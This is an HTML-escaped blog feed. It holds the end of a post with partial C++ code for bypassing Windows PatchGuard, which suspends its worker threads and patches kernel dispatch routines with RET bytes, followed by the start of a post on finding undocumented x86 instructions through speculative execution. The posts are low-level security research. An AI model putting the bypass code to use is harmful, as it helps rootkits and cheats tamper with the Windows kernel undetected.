&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ke&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;delay_execution_thread&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Lower IRQL and return.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pgc_debug&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Suspended PatchGuard worker thread: %llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ntpp&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_client_id&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;unique_thread&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ia32&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;set_irql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;APC_LEVEL&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rflags&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interrupt_enable_flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// False positive, fix NX and continue.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lookup_pte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;virtual_address&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;atomic_bit_reset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PT_ENTRY_64_EXECUTE_DISABLE_BIT&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Initializes the patchguard bypass.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Fetch the number of processors and distribute the work.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;num_processors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;apic&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;number_of_processors&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;range_per_cpu&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;num_processors&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;get_range&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;range_per_cpu&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;pair&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// [ idx*R, (idx+1)*R ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;rmin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ia32&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;read_pcid&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;range_per_cpu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;rmax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rmin&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;range_per_cpu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If last range, round to max.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;rmax&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;range_per_cpu&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rmax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;rmin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rmax&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Add the patches and call the IPI.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;sdk&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ki&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sw_interrupt_dispatch&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hook&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ki&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sw_interrupt_dispatch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;sdk&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ki&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mca_deferred_recovery_service&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hook&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ki&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mca_deferred_recovery_service&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;scheduler&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;call_ipi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;barrier&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// .... See above
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As it stands right now, the code base is not yet ready for release due to the vast amount of dependencies on bits and pieces of my libraries (C runtime, the hooking library, ISRs&amp;hellip;), but I will try to release a standalone version of PgC in the near future. You can find some of the memory utilities used above at &lt;a href="https://github.com/can1357/xstd/blob/master/includes/ia32/memory.hpp"&gt;Github.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I hope you enjoyed this article and the trick even more. If you have any questions, feel free to ask them on the bird app or the comments below.&lt;/p&gt;</description></item><item><title>Speculating the entire x86-64 Instruction Set In Seconds with This One Weird Trick</title><link>https://blog.can.ac/2021/03/22/speculating-x86-64-isa-with-one-weird-trick/</link><pubDate>Mon, 22 Mar 2021 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2021/03/22/speculating-x86-64-isa-with-one-weird-trick/</guid><description>&lt;p&gt;As cheesy as the title sounds, I promise it cannot beat the cheesiness of the technique I&amp;rsquo;ll be telling you about in this post. The morning I saw &lt;a href="https://twitter.com/_markel___/status/1373059797155778562"&gt;Mark Ermolov&amp;rsquo;s tweet&lt;/a&gt; about the undocumented instruction reading from/writing to the CRBUS, I had a bit of free time in my hands and I knew I had to find out the opcode so I started theory-crafting right away. After a few hours of staring at numbers, I ended up coming up with a method of discovering practically every instruction in the processor using a side(?)-channel. It&amp;rsquo;s an interesting method involving even more interesting components of the processor so I figured I might as well write about it, so here it goes.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You can find the full data-set and the implementation source at &lt;a href="https://haruspex.can.ac/browse/"&gt;haruspex.can.ac&lt;/a&gt; / &lt;a href="https://github.com/can1357/haruspex/"&gt;Github&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="preface-12-if-storks-are-busy-delivering-babies-where-do-micro-instructions-come-from"&gt;Preface 1/2: If storks are busy delivering babies, where do micro-instructions come from?&lt;/h2&gt;
&lt;p&gt;Modern processors are built with a crazy amount of microarchitectural complexity these days and as one would expect the good old instruction decoders no longer decode for the execution unit directly. They end up decoding them into micro-instructions according to the micro-code of the processor to dispatch to the execution ports of the processor. There are two units that perform this translation in a modern Intel processor:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Micro-instruction Translation Engine (MITE)&lt;/strong&gt;. The unit responsible for the translation of simple legacy instructions that translate to four or less micro-instructions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Microcode Sequencer (MS)&lt;/strong&gt;. The unit responsible for the translation of much more complex instructions that drive the CISC craziness of the Intel architecture we all hold dearly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Another unit that dispatches these micro-instructions is the &lt;strong&gt;Decoded Stream Buffer (DSB)&lt;/strong&gt; more frequently known as the &lt;strong&gt;iCache&lt;/strong&gt; but it is not really relevant to the experiment we&amp;rsquo;re going to do. Now, why am I telling you all of this? Mainly because we can profile these extremely low-level units thanks to the performance counters Intel gracefully provides us; mainly these two bad boys:&lt;/p&gt;
&lt;figure class="aligncenter"&gt;
&lt;p&gt;&lt;img src="images/1.webp" alt=""&gt;&lt;/p&gt;
&lt;/figure&gt;
&lt;figure class="aligncenter"&gt;
&lt;p&gt;&lt;img src="images/2.webp" alt=""&gt;&lt;/p&gt;
&lt;/figure&gt;
&lt;p&gt;One of the advantages of utilizing these events compared to a Sandsifter-like approach is that even if the microcode of the instruction throws a #UD (say if the password does not match or if the conditions are not met) it cannot fool us as it&amp;rsquo;d still have to be decoded.&lt;/p&gt;
&lt;h2 id="preface-22-executing-in-a-parallel-universe"&gt;Preface 2/2: Executing in a parallel universe&lt;/h2&gt;
&lt;p&gt;Now the problem is getting those instructions there. There are a million of ways you can shoot yourself in the foot by executing random instructions. What happens if we hit an instruction that changes our interruptibility state, causes a system reset, messes with the internal caches or the very performance counters we&amp;rsquo;re using, the stack we&amp;rsquo;re executing on, the code of the profiler, the code segment we&amp;rsquo;re executing in&amp;hellip;&lt;/p&gt;
&lt;p&gt;The easy solution is to simply, not execute, at least in our visible universe, which brings us to our second cool microarchitectural detail: &lt;strong&gt;speculative and out-of-order execution&lt;/strong&gt;. The processor evaluating the branch condition at the branch has apparently grown out of fashion so what really happens when you do a branch is that, first, the branch prediction engine attempts to guess the branch you are going to take to reduce the cost of the reversal of the instruction pipelines, given an equal possibility both branches execute at the same time where possible and no speculation fences are present and then one of them gets their net change reverted&amp;hellip; which is pretty much what we wanted isn&amp;rsquo;t it? Now although probing the branch to reset the branch prediction state is possible and I&amp;rsquo;ve experimented with it before, it&amp;rsquo;s a bit bothersome so an easier way is to simply do a CALL. Consider this snippet:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="no"&gt;x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;speculated&lt;/span&gt; &lt;span class="no"&gt;code&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;x:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rip&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;z&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;xchg&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;z:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will cause the execution of the speculated code and the invoked subroutine out-of-order if possible. The &lt;code&gt;XCHG&lt;/code&gt; may seem a bit overkill compared to a simpler solution popping the stack but as far as my experiments went, the processor is too smart to split the execution if the routine is non-returning so we need to feed the branch target buffer what it wants. I&amp;rsquo;ve used &lt;code&gt;XCHG&lt;/code&gt; here instead of a &lt;code&gt;MOV&lt;/code&gt; since it implies &lt;code&gt;LOCK&lt;/code&gt; which will cause the processor to end up in a memory stall given that it has to end up visible given the atomicity &amp;ndash;or at least so I theorize.&lt;/p&gt;
&lt;p&gt;We will also need to trash the &lt;strong&gt;Decoded Stream Buffer&lt;/strong&gt; I&amp;rsquo;ve mentioned previously so that we do not get any micro-instructions fed from the cache but there&amp;rsquo;s a very simple solution for that. The instruction cache also has to handle self-rewriting code so execute memory is extremely sensitive to any memory writes, given this information adding the simple snippet below before every measurement takes care of this issue.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ia32&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get_ip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;63ull&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
